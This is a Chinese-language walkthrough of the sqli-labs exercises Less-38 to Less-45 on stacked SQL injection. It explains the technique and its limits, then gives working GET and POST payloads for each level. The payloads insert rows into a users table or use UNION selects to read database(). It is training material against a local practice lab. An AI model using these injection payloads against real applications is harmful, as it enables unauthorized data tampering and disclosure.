前言
这几关涉及到堆叠注入(Stacked injection),堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。
堆叠注入
原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。能够执行多个sql语句的函数为mysqli_multi_query,而我们之前所接触的都是mysqli_query,它只能对数据库执行一次操作。
联合注入也是执行多条语句,其与堆叠注入的区别就在于union执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例子
在mysql中,在执行语句:select * from users where id=1;之后再执行创建新的一张名为test的表的语句:create table test like users;结果显示如图:
可以看出显示的是第一条语句的执行结果,那么第二条语句有没有执行呢,我们可以看看存不存在新的表,可以发现第二条语句确实执行了:
局限性
以上的例子是在数据库为mysql时才有的,对于oracle数据库系统是无法实现堆叠注入的。
在web界面中,代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果我们在前端界面是无法看到返回结果的。这也导致接下来的关卡使用堆叠注入时无法查询数据(显示不出来),而只能执行一下插入数据的语句。
Less-38
经过测试是单引号闭合,尝试注入payload:
127.0.0.1/sqli-labs-master/Less-38/?id=1'; insert into users(id,username,password)values('100','test','TEST')--+
然后我们查看数据库是否被插入新的数据test:
可以发现我们成功执行了插入语句,这与后台查询数据库的函数为mysqli_multi_query有关。
根据局限性可知,我们在第二个语句执行查询语句是无法实现目的的:
127.0.0.1/sqli-labs-master/Less-38/?id=1'; select 1,database(),3--+
但是我们可以直接按常规操作,直接在第一个语句执行查询语句:
127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,database(),3--+
当然也可以同时执行查询和插入两个操作:
127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,database(),3;insert into users(id,username,password)values('100','test','TEST')--+
Less-39
与上一关原理相同,不同的是本关是数值型注入,不需要闭合。
127.0.0.1/sqli-labs-master/Less-39/?id=1; insert into users(id,username,password)values('100','test','TEST')--+
也可以直接查询:
127.0.0.1/sqli-labs-master/Less-39/?id=-1 union select 1,database(),3--+
Less-40
无报错提醒,经过多次尝试发现是’)闭合,构造payload:
127.0.0.1/sqli-labs-master/Less-40/?id=1'); insert into users(id,username,password)values('100','test','TEST')--+
也可以直接查询:
127.0.0.1/sqli-labs-master/Less-40/?id=-1') union select 1,database(),3--+
Less-41
和Less-39一样,区别在于没有错误提示消息,只能用盲注无法直接查询,但是不影响我们的堆叠注入payload为:
127.0.0.1/sqli-labs-master/Less-41/?id=1; insert into users(id,username,password)values('100','test','TEST')--+
Less-42
这一关是POST型注入,查看源码可知对password没有过滤:
所以直接对password进行注入即可:
password:1'; insert into users(id,username,password)values('100','test','TEST')#
也可以直接查询:
password:-1' union select 1,database(),3#
Less-43
通过报错语句得知闭合方式为’),故payload如下:
password:1'); insert into users(id,username,password)values('100','test','TEST')#
也可以直接查询:
password:-1') union select 1,database(),3#
Less-44
仍然是单引号闭合,但关闭了报错提示。只能通过盲注无法直接查询,堆叠注入的payload是相同的:
password:1'; insert into users(id,username,password)values('100','test','TEST')#
Less-45
为’)闭合,关闭了报错语句,只能盲注而无法直接查询,但堆叠注入的payload仍然相同:
password:1'); insert into users(id,username,password)values('100','test','TEST')#